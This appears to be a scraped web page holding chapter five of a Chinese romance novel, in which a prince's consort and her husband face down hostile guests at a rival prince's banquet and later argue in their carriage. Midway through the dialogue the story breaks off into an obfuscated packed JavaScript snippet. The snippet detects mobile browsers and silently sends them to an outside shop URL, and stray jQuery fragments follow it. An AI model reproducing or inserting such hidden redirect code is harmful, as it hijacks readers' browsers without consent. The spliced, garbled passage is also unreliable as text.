5. 第五章

作品:《娘子,我才不要和离

    如果不是答应了林穆远,赵羲和绝不会踏进成王府。


    一下马车,林穆远就被一群男人簇拥着离开,而她则被一路领着到了岑福堂。


    堂内已经来了不少人,三三两两的女子围坐在一起说笑,她刚抬脚往里迈,侍女一句“晋王妃到”,满堂的视线都汇聚过来。


    府里向来低调,自己又不喜欢吵闹,加之母亲近些时候身上不大爽利,算起来,她应该有一年多没有出入这种场合了,粗粗略了一圈,在场竟没一个认识的。


    这厢刚落座,女主人便到了,她也跟着众人站起来,哪知成王妃一路穿过人群径直来到她面前,声音款款:“听王爷说妹妹要来,我还不信。”


    赵羲和抬起头,眸中闪过一丝讶然,若不是成王妃的身份,她还真不敢相信眼前人便是吴湘。她明明与自己年龄相仿,可这妆容画得……


    “晋王妃,别来无恙啊。”吴湘握起她的手,满头珠翠尽显贵气。


    “见过成王妃。”她规规矩矩行了个礼。


    “论起来,你还得唤我一句皇婶呢!”


    她看着吴湘的眼睛,往事一幕幕涌上心头,面无表情地回了两个字:“皇婶。”


    吴湘怔了一下,随即莞尔一笑:“晋王妃真是个实诚人。”


    “可不是嘛!”她身后一位身怀六甲的美妇人挤过来:“晋王妃虽说刚过门,可和晋王一样,不消几日,已经名满京城了呢!”


    她话说得直白露骨,在场的人没有不懂的,都掩着嘴嗤嗤笑起来。


    “你身子不方便,先入座吧。”吴湘示意身边的侍女上手搀了一把,那妇人坐在了她的下首。


    赵羲和望了眼她隆起的小腹,不想与她搭腔,自顾自地喝起了茶。


    “依我看,郭夫人方才的话说得可不对。”一位烟紫色衣裙的妇人开口:“在成为晋王妃之前,王妃就已经有才名了,听说上门提亲的人不少,倒是没想到最后会到了晋王的府上。”


    “晋王怎么了?”郭夫人接着道:“我瞧着晋王和晋王妃倒是天造地设的一对。”


    “正是,脾气也像呢!”


    席间的人见她不吱声,你一言我一语地说笑,先是林穆远和她,后来又绕到柳细娘身上。


    “听说晋王妃前些日子去了那狐媚子的成衣铺,后来怎的没找人砸了,还能让她正经做生意不成?”


    话头一起,在座的都来了兴致,十几双眼睛兴致勃勃盯着她,就差围了过来。


    “晋王妃怎么不说话?”郭夫人追着问:“莫不是有什么高招?”


    “王府规矩大”,她不紧不慢地说:“我看戏的时候都是不说话的。”


    “看戏?看什么戏?”郭夫人顺嘴问,见众人都不吭气了,才乍然反应过来,脸涨成了猪肝色:“你……你说咱们是戏子?”


    她安然坐着,不置可否。郭夫人“噌”地一下站了起来,指着她鼻子:“成王妃还在这里,你竟敢如此不敬!”


    “低声些”,赵羲和瞥了她一眼:“当心动了胎气。”


    郭夫人怒不可遏,偷偷瞄向吴湘,哪知吴湘正低头饮茶,压根儿没看她。


    “郭群,你哪房妻妾啊,嚣张成这样?”话音刚落,林穆远摇着扇子进来,笑吟吟站到了她身侧。


    一个矮胖男人躬腰答:“是……是臣的侧室。”


    “侧室?”林穆远一番思索之后恍然大悟:“嗐,不就是个小妾?说这么好听。”


    郭群不敢反驳,只得连连称“是”。


    “你家开染坊了?”


    他陡然一问,郭群面上有些疑惑,林穆远朝郭夫人努了努嘴:“本王听说给人做小妾才打扮得花里胡哨,今日一见,传言不虚。”


    郭群脸上红一块紫一块,不知该怎样回,郭夫人更是一声都不敢吭。


    赵羲和偷偷瞄向身边人,他这阴阳怪气的是……给自己出气?


    “说什么呢这么热闹?”成王走了进来,眯着眼瞧见林穆远身侧的赵羲和,嘴角勾起一抹笑:“我说晋王怎么急匆匆赶过来,原来晋王妃在这里。”


    她脸上闪过一丝厌恶,林穆远没动作,她也就跟着没动。


    “王爷。”吴湘起身,站到成王身侧,赵羲和方才只是觉得奇怪,现下才明白了过来。


    难怪吴湘今日的妆看着老成,原是为了与成王相配,两人相差十来岁,此刻站在一块儿倒像是一对同龄夫妻了。


    “王爷!”郭夫人忙不迭地露出头来告状:“方才晋王妃说,成王妃跟咱们都是戏子。”


    “戏子?”成王还没回过神,林穆远先笑出了声:“哪里的戏子?哪个园哪个楼?还是哪个坊?”


    “穆远……”成王嗔怪道:“当着旁人,说话注意点。”


    “皇婶!”林穆远却越过了他,朝向吴湘:“这就是你的不对了。”


    吴湘一头雾水。


    “今日皇叔生辰,你要请些妾室来助兴,就应该提早跟小侄说,我到红绡馆请几位来便是。”说着,抓起赵羲和的袖子:“我家王妃身家清白,哪里见过这种腌臜场面?”


    赵羲和吃惊得紧,一时竟忘了动弹。自己这不吃亏的性子也只敢暗戳戳骂人戏子,成王长他十几岁,又是长辈,他竟敢当着人的面说什么红绡馆,真是肆意妄为。


    成王登时冷了脸:“穆远,话不必说得这样难听。”


    “难听?”林穆远目光如炬,冷冷扫过众人:“狗嘴里吐不出象牙,我以为皇叔早习惯了。”


    今日来的都是朝臣的家眷,他这一句话,无端四面树敌,她有些头疼,怕他收不住说出什么更出格的话来,暗中扽了扽他的袖子,催他离开。


    “着什么急?”林穆远低头看了看衣袖,斜睨着郭群:“这位郭夫人还没道歉呢。”


    郭群见成王面色不善,并没有替自己说话的意思,连忙把侧室拎到前面:“向晋王妃道歉。”


    女子早已吓破了胆,捂着小腹跪在地上:“抱歉晋王妃……”说着冷汗淋漓,嘴唇煞白。


    “快走。”林穆远拉起赵羲和就往外:“走迟了一会儿该赖咱们头上了。”


    “拎着个小妾招摇过市到处让人喊夫人,真是小刀剌屁股,开了眼了。”


    赵羲和被他拽着离开,听见他的声音从前面飘过来,瞳孔一点点放大……他这牙尖嘴利的,会被自己说到哑口无言?


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991425|193727||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白读了那么些书,骂人都不会。”她刚坐回马车上,就听见林穆远嘀咕自己。


    “她一个身怀六甲的妇人,我与她一般见识作甚?”


    “呦”,她亲眼瞧见他明晃晃地白了自己一眼:“你自个儿高风亮节,倒显得我锱铢必较了。”


    “我问你”,说着,他俯身过来:“你们家跟成王,是不是有什么过节?”


    赵羲和眼眸闪了闪:“为什么这么问?”


    “你就说是不是吧”,林穆远盯着她:“太傅年纪大了,又惯不会与宵小之辈打交道,别被人盯上了也不知道。”


    她表情一滞,犹豫了片刻:“成王上门提过亲。”


    “给谁?”他这厢问着突然想起成王膝下只有一个七八岁的儿子,而她们家也只有她和她兄长二人,一拍大腿:“老癞蛤蟆,他多大你多大?他都快能生你了!”


    “他你能看上?还不如我呢!”


    “低声些!”赵羲和瞪了他一眼,他声音是小了话却没停:“你们家嘴也够严的,这事我都不知道。”


    “那成王妃又是怎么回事?”


    “成王妃?什么成王妃?”她还琢磨着成王的事,不防他又把话题绕到吴湘身上。


    “你不会没看出来吧?”林穆远脸上写满了嫌弃:“白长了副聪明样子,一点心眼子没有。你以晋王妃的身份出去,代表的就是我晋王府,满京城里打听打听,我晋王府的人在外面何时受过窝囊气?”


    “她是女主人,辈分又比你高,但凡对你存着几分友善,能纵容一众女客当着你的面肆意编排?还是说,她知道了成王先前向你提过亲,存心和你过不去?”


    “你也说了,我身后的人是你。”赵羲和认真看着他:“你说,他们故意为难我,是瞧不上谁?又是打谁的脸?”


    林穆远方才兴致勃勃一通分析,她一句话如同一盆凉水浇下来,立时偃旗息鼓,整个人坐直身子闭上了眼。


    不过是赴了场宴,生出这些是非,听他的意思,说不定还要牵扯到父亲,她此刻心里也是一团乱麻。方才她不想讲,吴湘针对自己,可不全是因为成王。


    马车停在王府门口,林穆远二话不说跳下了车,三两步便没了踪影,赵羲和才后知后觉,他似乎是生气了。


    按说自己遵守约定去赴宴,他闹那么一通,也不全是帮自己,恐怕更多是维护王府的脸面,可他还提点了自己成王的事,事关父亲和全家,她却不能不领情。况且自己那些话,想来着实不大好听。


    她思来想去,归根结底,自己欠他一声谢。


    月上柳梢,赵羲和来到玉泉堂,迎面撞见管家:“王爷呢?”


    “王爷……”管家张了张嘴,犹豫之际想起林穆远那日的嘱咐,如实回:“王爷听曲儿去了。”


    听曲儿?赵羲和顿时气血上涌,转身就走。


    好一个林穆远!自己还当是说话难听伤了他,谁知人家一个转身,不知在哪里风流快活!与这样的人打交道,自己还是太有良心了!


    一曲终了,纤细修长的手指轻轻落到弦上,紫檀木案几上,一缕青烟缓缓升起。


    “都听了八遍清心咒了,心还没静下来?”